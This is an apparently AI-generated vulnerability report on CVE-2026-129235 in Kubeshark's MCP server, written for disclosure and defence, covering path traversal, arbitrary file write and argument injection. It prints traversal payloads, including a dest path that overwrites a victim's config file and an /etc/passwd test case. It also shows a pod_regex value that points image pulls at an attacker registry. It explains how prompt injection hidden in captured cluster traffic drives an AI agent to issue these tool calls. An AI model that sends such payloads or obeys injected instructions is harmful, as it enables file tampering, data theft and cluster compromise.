CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-129235

CVE-2026-129235: Arbitrary File Write and Argument Injection in Kubeshark MCP Server

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 17, 2026·10 min read·1 visit

Executive Summary (TL;DR)

An unvalidated destination path in Kubeshark's MCP server download_file tool allows attackers to overwrite arbitrary local files with Hub API response bytes and traverse Hub API paths via indirect prompt injection against connected AI agents. Version 53.4.0 fixes the path traversal and an associated argument injection in start_kubeshark.

Kubeshark versions 53.1.0 prior to 53.4.0 contain an arbitrary file write and path traversal vulnerability (CWE-22) alongside an argument injection vulnerability (CWE-88) in the Model Context Protocol (MCP) server implementation (cmd/mcpRunner.go). The download_file tool fails to validate caller-supplied path and dest arguments, allowing an attacker who influences an AI agent driving kubeshark mcp to write Kubeshark Hub API responses to arbitrary locations writable by the local user. Additionally, the start_kubeshark tool appends the pod_regex argument without flag delimiters, allowing argument injection into the kubeshark tap subcommand.

Vulnerability Overview

Kubeshark is an eBPF-powered network observability platform designed for Kubernetes environments. Beginning in version 53.1.0, Kubeshark introduced a built-in Model Context Protocol (MCP) server (kubeshark mcp) implemented in cmd/mcpRunner.go. This component enables Large Language Model (LLM) agents and MCP-compatible clients (such as Cursor or Claude Desktop) to interact with the Kubeshark Hub API, manage packet capture sessions, inspect API traffic, and download PCAP files or traffic snapshots to the local host.

In Kubeshark versions 53.1.0 through 53.3.0, the MCP server exposes the download_file tool without requiring the --allow-destructive flag. This tool accepts two caller-controlled parameters: path, which specifies the remote endpoint on the Kubeshark Hub API, and dest, which defines the local filesystem path where the downloaded payload is saved. Due to a complete absence of path canonicalization and directory confinement on both parameters, the implementation is vulnerable to path traversal (CWE-22) and external control of file name or path (CWE-73).

Furthermore, the start_kubeshark MCP tool within the same component exhibits an argument injection vulnerability (CWE-88). When constructing the command-line invocation for kubeshark tap, the server appends the caller-supplied pod_regex parameter directly to the argument slice without an end-of-options delimiter (--). If an attacker supplies a value prefixed with a hyphen, the underlying Cobra CLI parser interprets the input as command-line flags rather than a positional regular expression operand.

Because the MCP server operates over standard input/output (stdio) under the control of an AI agent, the primary attack vector involves indirect prompt injection. When an AI agent analyzes untrusted Kubernetes network traffic, HTTP payloads, or pod logs captured by Kubeshark, malicious instructions embedded in that traffic can coerce the agent into invoking download_file or start_kubeshark with attacker-controlled arguments. This allows an attacker to read sensitive capture data from default unauthenticated Hub deployments and overwrite arbitrary files writable by the local user running the MCP client.

Root Cause Analysis

The root cause of the arbitrary file write in CVE-2026-129235 lies in the callDownloadFile method of the mcpServer struct within cmd/mcpRunner.go. When an MCP client issues a tools/call request for download_file, the handler extracts the path and dest strings directly from the untrusted JSON arguments map. If dest is provided by the caller, the function passes the raw string directly to os.Create(dest) without verifying whether the target path resides within an intended working directory.

This design permits three distinct traversal primitives within callDownloadFile. First, supplying an absolute path in dest (e.g., /home/user/.bashrc) or relative traversal sequences (../../target) allows overwriting any file accessible to the user running kubeshark mcp. Second, because os.Create follows symbolic links by default (O_RDWR|O_CREAT|O_TRUNC), an attacker or a multi-step tool invocation can write through existing symlinks pointing outside the working directory. Third, the path parameter is concatenated directly to the Hub baseURL without checking for .. segments, allowing the HTTP client to traverse outside the intended /api/mcp subpath on the Kubeshark Hub server and query arbitrary Hub API endpoints.

A secondary root cause exists in the callStartKubeshark handler within cmd/mcpRunner.go. This function builds an argument slice (cmdArgs) to execute the tap subcommand. When extracting the optional pod_regex parameter from the MCP tool arguments, the code appends the string directly to cmdArgs before appending hardcoded flags (--set, headless=true).

Because Kubeshark uses the spf13/cobra and spf13/pflag libraries for command-line parsing, flags and positional arguments can be interspersed unless explicitly separated by a double-dash (--) terminator. Consequently, any pod_regex string starting with - or -- (such as --set=tap.docker.registry=attacker.example.com) is parsed as an active configuration flag, allowing an attacker to override runtime settings of the kubeshark tap execution.

Code Analysis

The vulnerabilities were introduced in commit e6a67cc3b76123274b96f50da13690b84c68038d and remediated in commit a76a1920dc7587be700a17f1592f58a9512ad214 (Pull Request #1957). Examining the pre-patch implementation of callDownloadFile in cmd/mcpRunner.go shows how both filePath and dest were handled without validation:

// Vulnerable code in cmd/mcpRunner.go (< 53.4.0)
func (s *mcpServer) callDownloadFile(args map[string]any) (string, bool) {
    filePath, _ := args["path"].(string)
    if filePath == "" {
        return "Error: 'path' is required", true
    }
    if !strings.HasPrefix(filePath, "/") {
        filePath = "/" + filePath
    }
    // FLAW 1: No check for '..' segments in filePath before URL concatenation
    fullURL := strings.TrimSuffix(baseURL, "/") + filePath
 
    dest, _ := args["dest"].(string)
    if dest == "" {
        dest = path.Base(filePath)
    }
 
    resp, err := downloadClient.Get(fullURL)
    if err != nil {
        return fmt.Sprintf("Error downloading %s: %v", filePath, err), true
    }
    defer resp.Body.Close()
 
    // FLAW 2: Unconfined file creation using raw caller-supplied 'dest'
    outFile, err := os.Create(dest)
    if err != nil {
        return fmt.Sprintf("Error creating file %s: %v", dest, err), true
    }
    defer outFile.Close()
 
    _, err = io.Copy(outFile, resp.Body)
    // ...
}

In patch commit a76a1920dc7587be700a17f1592f58a9512ad214, the maintainers introduced strict validation functions in cmd/mcpRunner.go and platform-specific file creation helpers. First, hasDotDotSegment inspects the raw and URL-unescaped path parameter to block endpoint traversal on the Hub API. Second, secureDownloadDest confines all file writes to s.downloadDir (which defaults to the current working directory or the path specified by the KUBESHARK_MCP_DOWNLOAD_DIR environment variable):

// Patched validation logic in cmd/mcpRunner.go (53.4.0)
if hasDotDotSegment(filePath) {
    return "Error: 'path' must not contain '..' segments", true
}
 
dest, err := secureDownloadDest(s.downloadDir, destArg, filePath)
if err != nil {
    return fmt.Sprintf("Error: invalid destination: %v", err), true
}
 
// Uses O_NOFOLLOW on Unix to mitigate symlink race conditions
outFile, err := createNoFollow(dest)

The secureDownloadDest function performs multi-stage verification: it rejects absolute paths when a relative confinement check is performed, computes filepath.Rel(absBase, target) to ensure the lexical path does not escape the base directory, and invokes resolveSymlinkedPath to evaluate symbolic links along existing ancestor directories. Furthermore, to prevent Time-of-Check to Time-of-Use (TOCTOU) symlink attacks at the final path component, os.Create was replaced with createNoFollow in cmd/createNoFollow_unix.go:

//go:build !windows
package cmd
 
import (
    "os"
    "syscall"
)
 
func createNoFollow(name string) (*os.File, error) {
    // Enforces syscall.O_NOFOLLOW to reject symbolic links at the target filename
    return os.OpenFile(name, os.O_WRONLY|os.O_CREATE|os.O_TRUNC|syscall.O_NOFOLLOW, 0o644)
}

To remediate the argument injection flaw in callStartKubeshark, the patch inserts the -- end-of-flags delimiter before appending podRegex:

// Vulnerable code (< 53.4.0)
cmdArgs := []string{"tap"}
if v, ok := args["pod_regex"].(string); ok && v != "" {
    cmdArgs = append(cmdArgs, v)
}
 
// Patched code (53.4.0)
cmdArgs := []string{"tap"}
if podRegex != "" {
    // Explicitly terminates flag parsing before passing user-supplied operand
    cmdArgs = append(cmdArgs, "--", podRegex)
}

> [!NOTE] > Fix Completeness Assessment: On Unix-like systems, the combination of ancestor symlink resolution (resolveSymlinkedPath) and syscall.O_NOFOLLOW on the final file descriptor effectively mitigates local path traversal and terminal symlink following. However, on Windows (cmd/createNoFollow_windows.go), createNoFollow falls back to standard os.OpenFile without O_NOFOLLOW semantics, and a tiny TOCTOU window remains if an intermediate directory is swapped with a symlink between resolveSymlinkedPath and os.OpenFile (as full openat2 with RESOLVE_BENEATH is not used). Additionally, as noted in the advisory, default Kubeshark Hub deployments remain unauthenticated unless explicitly configured otherwise.

Exploitation

Exploitation of CVE-2026-129235 requires a user to run an MCP session (kubeshark mcp) connected to an AI agent that processes untrusted cluster data. Because download_file is registered as a standard read-only helper tool (not gated behind --allow-destructive), MCP clients frequently permit its execution without explicit human-in-the-loop confirmation, or present it as a benign file download action.

An attacker situated within or interacting with the monitored Kubernetes cluster can send crafted HTTP requests or log entries containing an indirect prompt injection payload. When the operator asks the AI agent to investigate cluster traffic (causing the agent to call list_api_calls or get_api_call), the agent ingests the attacker's payload. The payload instructs the LLM to invoke download_file or start_kubeshark with malicious parameters.

To exploit the arbitrary file write and Hub path traversal, the induced agent sends a JSON-RPC tools/call message over stdio to the kubeshark mcp process:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "download_file",
    "arguments": {
      "path": "/../../api/v1/some_endpoint",
      "dest": "/home/victim/.config/target_file"
    }
  }
}

The official regression test suite in cmd/mcp_test.go (added in commit a76a1920dc7587be700a17f1592f58a9512ad214) demonstrates the exact exploitation primitives that succeeded prior to version 53.4.0:

cases := []struct {
    name string
    args map[string]any
}{
    {
        "relative-traversal",
        map[string]any{"path": "/snapshots/abc/data.pcap", "dest": "../escaped.pcap"},
    },
    {
        "absolute-outside-base",
        map[string]any{"path": "/snapshots/abc/data.pcap", "dest": filepath.Join(outsideDir, "escaped.pcap")},
    },
    {
        "path-dotdot",
        map[string]any{"path": "/snapshots/../../etc/passwd", "dest": "ok.pcap"},
    },
}

Similarly, if the attacker induces the AI agent to call start_kubeshark, passing a flag-formatted string in pod_regex exploits the argument injection in callStartKubeshark:

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "start_kubeshark",
    "arguments": {
      "pod_regex": "--set=tap.docker.registry=malicious.registry.invalid/kubeshark"
    }
  }
}

In vulnerable versions, this causes Kubeshark to deploy tap pods into the Kubernetes cluster pulling container images from an attacker-controlled registry, transitioning the attack from argument injection into cluster-level code execution if the user has cluster deployment privileges.

Impact Assessment

The vulnerability is assigned a CVSS v3.1 base score of 5.3 (Medium) with the vector CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N. The Attack Vector is Local (AV:L) because the MCP server communicates locally via stdio, and Attack Complexity is High (AC:H) with User Interaction Required (UI:R) because successful exploitation relies on an operator running an AI agent session that ingests untrusted data and executes the resulting tool calls.

The Confidentiality impact is rated High (C:H). By traversing the path parameter in download_file or querying default Hub endpoints, an attacker influencing the AI agent can access captured network traffic (PCAP files and API payloads) from the Kubeshark Hub. In default Kubeshark installations where Hub authentication is disabled, sensitive credentials, session tokens, and internal service communications captured by eBPF probes are exposed.

The Integrity impact is rated Low (I:L) for the download_file vector on its own. While the attacker can overwrite any file writable by the local user running kubeshark mcp (truncating existing files via os.Create), the content written to the file is strictly constrained to the HTTP response body returned by the Kubeshark Hub API. Reliable remote code execution solely via download_file is constrained unless the attacker can first inject controlled raw bytes into captured network traffic and subsequently download a raw capture endpoint directly into an executable configuration file (such as ~/.bashrc or a crontab).

However, when considering the start_kubeshark argument injection (CWE-88) included in the same patch commit, the potential impact increases substantially if the start_kubeshark tool is invoked. Overriding --set helm/configuration flags during kubeshark tap allows modification of the container image registry or execution parameters deployed into the target Kubernetes cluster.

Remediation

Operators and developers using Kubeshark's MCP integration must upgrade the Kubeshark CLI binary and associated cluster components to version 53.4.0 or later. Version 53.4.0 incorporates commit a76a1920dc7587be700a17f1592f58a9512ad214, which enforces directory confinement on download_file, blocks .. segments in Hub API paths, prevents symlink escapes via O_NOFOLLOW, and terminates flag parsing in start_kubeshark using --.

To upgrade the Kubeshark CLI binary on Linux systems, execute the following commands:

curl -Lo kubeshark https://github.com/kubeshark/kubeshark/releases/download/v53.4.0/kubeshark_linux_amd64
chmod +x kubeshark
sudo mv kubeshark /usr/local/bin/

After upgrading to 53.4.0, administrators should explicitly configure an isolated download directory for the MCP server using the newly introduced KUBESHARK_MCP_DOWNLOAD_DIR environment variable. Setting this variable ensures that files downloaded by AI agents cannot overwrite files in the user's current working directory:

mkdir -p /tmp/kubeshark-mcp-downloads
chmod 700 /tmp/kubeshark-mcp-downloads
export KUBESHARK_MCP_DOWNLOAD_DIR="/tmp/kubeshark-mcp-downloads"

Finally, because the local path confinement fix does not alter Kubeshark Hub's default authentication posture, organizations must enable authentication on the Kubeshark Hub deployment to protect captured network traffic from unauthorized access. Configure tap.auth.enabled: true in your Helm values or command-line flags:

tap:
  auth:
    enabled: true
    type: oidc

Official Patches

KubesharkOfficial patch commit resolving path traversal and argument injection in cmd/mcpRunner.go
KubesharkKubeshark v53.4.0 release containing the security fixes
KubesharkPull Request #1957 implementing the remediation

Fix Analysis (1)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

Affected Systems

Kubeshark CLI and Model Context Protocol (MCP) Server (github.com/kubeshark/kubeshark)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Kubeshark
Kubeshark
>= 53.1.0, < 53.4.053.4.0
AttributeDetail
Vulnerability IDCVE-2026-129235 / GHSA-gj7r-p794-hhq5
CWE ClassificationCWE-22 (Path Traversal) & CWE-88 (Argument Injection)
CVSS v3.1 Score5.3 Medium (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N)
Affected Componentcmd/mcpRunner.go (download_file and start_kubeshark MCP tools)
Affected Versions>= 53.1.0, < 53.4.0
Patched Version53.4.0
Exploit StatusProof-of-Concept unit tests in official commit
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1202Indirect Command Execution
Defense Evasion
T1083File and Directory Discovery
Discovery
T1565Data Manipulation
Impact
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Known Exploits & Detection

GitHubOfficial patch commit containing unit test PoCs in cmd/mcp_test.go demonstrating path traversal, symlink escape, and argument injection.

Vulnerability Timeline

Vulnerability reported via coordinated disclosure by researcher novice-22 and fix commit a76a1920dc7587be700a17f1592f58a9512ad214 pushed.
2026-08-12
Kubeshark release v53.4.0 tagged and published containing the fix.
2026-08-13
GitHub Security Advisory GHSA-gj7r-p794-hhq5 and CVE-2026-129235 published.
2026-11-16
Open Source Vulnerabilities (OSV) database entry updated.
2026-11-17

References & Sources

  • [1]GitHub Security Advisory GHSA-gj7r-p794-hhq5
  • [2]Kubeshark Fix Commit a76a1920dc7587be700a17f1592f58a9512ad214
  • [3]Kubeshark Pull Request #1957
  • [4]Kubeshark Release v53.4.0
  • [5]CVE-2026-129235 Record on CVE.org
  • [6]NVD Entry for CVE-2026-129235
  • [7]CVE JSON Record in CVEProject/cvelistV5

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-129300
5.3

CVE-2026-129300: Uncaught Exception Denial of Service in SpamScope mail-parser

CVE-2026-129300 (GHSA-xhrq-2mqv-q8wx) is an unhandled exception vulnerability in SpamScope mail-parser, a Python library used to parse raw emails. When processing an email with a malformed Received header containing an out-of-range year or timezone offset, standard library datetime conversion routines raise OverflowError or OSError. Because the internal error handler only caught TypeError and ValueError, these exceptions escape the parser hierarchy, terminating email ingestion pipelines and causing a denial of service.

Alon Barad
Alon Barad
2 views•8 min read
•about 3 hours ago•CVE-2026-129301
6.5

CVE-2026-129301: Security Scanner Evasion and Batch Denial of Service in SpamScope mail-parser via Unhandled Attachment Exceptions

CVE-2026-129301 (GHSA-8cgq-x343-p74c) is an uncaught exception and MIME interpretation conflict vulnerability in the Python email parsing library mail-parser (versions >= 4.6.0 and < 4.6.3). The write_attachments() function iterates over parsed email attachments without per-attachment exception containment. When processing a specially crafted MIME part containing an RFC 2231-encoded null byte in the filename, a basename exceeding filesystem NAME_MAX limits, or a malformed base64 payload, the function raises an unhandled standard library exception (ValueError, OSError, or binascii.Error). This prematurely aborts the attachment extraction loop, preventing subsequent attachments from being written to disk for downstream security inspection while also triggering unhandled worker crashes in applications that only catch MailParserError.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 4 hours ago•CVE-2026-129239
6.5

CVE-2026-129239: Privilege Escalation and Unauthorized Data Exposure in Directus SharesService

Directus versions prior to 12.3.1 contain an authorization bypass and privilege management flaw in the SharesService component. Authenticated non-administrative users with update permissions on the directus_shares collection can modify the user_created, role, item, and collection fields of an existing owned share. Because the update operation validates permissions solely against the pre-update record state without revalidating the modified fields, an attacker can reassign share ownership and role context to an administrator. Subsequent guest access using the share token derives administrative accountability, exposing restricted relational data.

Alon Barad
Alon Barad
3 views•10 min read
•about 5 hours ago•CVE-2026-88987
5.4

CVE-2026-88987: Stored Cross-Site Scripting via XHTML and XML Data URIs in Silverstripe Framework

CVE-2026-88987 (GHSA-qqrg-8jpm-8mph) is a stored Cross-Site Scripting (XSS) vulnerability in the Silverstripe Framework prior to version 6.2.13. The framework's HTML sanitization engine, XssSanitiser, relies on an incomplete regular expression denylist when filtering URI schemes in HTML attributes. Specifically, the sanitizer strips data:text/html URIs but fails to restrict executable XML and XHTML media types such as data:application/xhtml+xml, data:text/xml, and data:application/xml. An authenticated user with content creation privileges can embed crafted data URIs inside HTML attributes like iframe src or object data, leading to arbitrary JavaScript execution when the content is rendered by a victim's browser.

Amit Schendel
Amit Schendel
4 views•9 min read
•about 6 hours ago•CVE-2026-88988
5.4

CVE-2026-88988: Stored Cross-Site Scripting via SVG Data URIs in Silverstripe Framework

A Stored Cross-Site Scripting (XSS) vulnerability exists in Silverstripe Framework versions prior to 6.2.13 within the SilverStripe\Core\XssSanitiser component. The HTML sanitizer fails to strip SVG data URIs (data:image/svg*) from dangerous HTML attributes such as href, src, lowsrc, and data. Authenticated CMS authors can persist crafted SVG data URIs in stored content, leading to arbitrary JavaScript execution in the browser context of users who view or interact with the rendered page.

Alon Barad
Alon Barad
4 views•9 min read
•about 7 hours ago•CVE-2026-88989
4.3

CVE-2026-88989: Authorization Bypass in Silverstripe Framework GridFieldDetailForm

CVE-2026-88989 (tracked as GHSA-3qh3-54qg-gpq3) is a missing authorization vulnerability (CWE-862) in the Silverstripe Framework affecting versions prior to 6.2.13. The flaw exists within the GridFieldDetailForm_ItemRequest request handler, which orchestrates record creation and editing workflows inside the Silverstripe CMS backend. Specifically, the server-side persistence method saveFormIntoRecord() fails to verify whether an authenticated user possesses the necessary creation permissions (canCreate) when processing an unpersisted DataObject record. Consequently, a low-privileged CMS user who has permission to access a GridField interface and edit existing records can bypass role-based creation restrictions. By sending a crafted HTTP POST request directly to the item/new endpoint with the action_doSave parameter, the user can instantiate and persist unauthorized database records. The vulnerability is rated Medium severity with a CVSS v3.1 base score of 4.3 and is remediated in Silverstripe Framework version 6.2.13.

Amit Schendel
Amit Schendel
4 views•10 min read